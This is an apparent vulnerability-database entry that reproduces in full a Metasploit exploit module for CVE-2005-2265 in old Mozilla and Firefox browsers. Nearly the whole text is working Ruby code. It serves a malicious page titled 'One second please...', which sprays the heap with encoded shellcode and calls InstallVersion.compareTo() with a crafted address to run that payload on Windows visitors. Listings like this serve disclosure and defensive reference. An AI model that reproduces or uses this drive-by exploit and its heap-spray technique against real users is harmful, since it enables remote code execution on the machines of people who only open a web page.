Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit module is a direct port of Aviv Raff's HTML PoC


                                                ##
# $Id: mozilla_compareto.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	# The version for this vuln is tricky because it affects mozilla 1.7-1.7.10
	# and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.
	autopwn_info({
		:ua_name =&#62; HttpClients::FF,
		:ua_minver =&#62; &#34;1.0&#34;,
		:ua_maxver =&#62; &#34;1.7.10&#34;,
		:os_name =&#62; OperatingSystems::WINDOWS,
		:javascript =&#62; true,
		:rank =&#62; NormalRanking, # reliable memory corruption
		:vuln_test =&#62; &#34;if (typeof InstallVersion != &#39;undefined&#39;) { is_vuln = true; }&#34;,
	})

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Mozilla Suite/Firefox InstallVersion-&#62;compareTo() Code Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a code execution vulnerability in the Mozilla
				Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
				module is a direct port of Aviv Raff&#39;s HTML PoC.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;  [&#39;hdm&#39;, &#39;Aviv Raff &#60;avivra [at] gmail.com&#62;&#39;],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10394 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;,    &#39;2005-2265&#39;],
					[&#39;OSVDB&#39;,  &#39;17968&#39;],
					[&#39;BID&#39;,    &#39;14242&#39;],
					[&#39;URL&#39;,    &#39;http://www.mozilla.org/security/announce/mfsa2005-50.html&#39;],
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 400,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
				},
			&#39;Targets&#39;        =&#62;
				[
					# Tested against Firefox 1.0.4 and Mozilla 1.7.1 on
					# WinXP-SP3 and Win2kAS-SP0
					[ &#39;Firefox &#60; 1.0.5, Mozilla &#60; 1.7.10, Windows&#39;,
						{
							&#39;Platform&#39; =&#62; &#39;win&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
							&#39;Ret&#39; =&#62; 0x0c0c0c0c,
						}
					],
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Jul 13 2005&#39;
			))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)
		send_response_html(cli, generate_html(p), { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; })

		# Handle the payload
		handler(cli)
	end

	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

		spray_to = sprintf(&#34;0x%.8x&#34;, target.ret)
		spray_slide1 = Rex::Text.to_unescape( [target.ret].pack(&#39;V&#39;), Rex::Arch.endian(target.arch) )
		spray_slide2 = Rex::Text.to_unescape( [target.ret].pack(&#39;V&#39;), Rex::Arch.endian(target.arch) )
		eax_address = sprintf(&#34;0x%.8x&#34;, target.ret)

		return %Q|
&#60;html&#62;
&#60;head&#62;
&#60;!--
	Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
	From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
	Greets: SkyLined, The Insider and shutdown
--&#62;
	&#60;title&#62;One second please...&#60;/title&#62;
	&#60;script language=&#34;javascript&#34;&#62;

		function BodyOnLoad()
		{
			location.href=&#34;javascript:void (new InstallVersion());&#34;;
			CrashAndBurn();
		};

		#{js_heap_spray}
		// The &#34;Heap Spraying&#34; is based on SkyLined InternetExploiter2 methodology
		function CrashAndBurn()
		{
			// Payload - Just return..
			var payLoadCode=unescape(&#34;#{enc_code}&#34;);

			// Size of the heap blocks
			var heapBlockSize=0x400000;
			sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));

			// Set address to fake &#34;pdata&#34;.
			var eaxAddress = #{eax_address};

			//	This was taken from shutdown&#39;s PoC in bugzilla
			// struct vtbl { void (*code)(void); };
			// struct data { struct vtbl *pvtbl; };
			//
			// struct data *pdata = (struct data *)(xxAddress & ~0x01);
			// pdata-&#62;pvtbl-&#62;code(pdata);
			//
			(new InstallVersion).compareTo(new Number(eaxAddress &#62;&#62; 1));
		}
// --&#62;
	&#60;/script&#62;
&#60;/head&#62;
&#60;body onload=&#34;BodyOnLoad()&#34;&#62;
&#60;/body&#62;
&#60;/html&#62;
		|
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1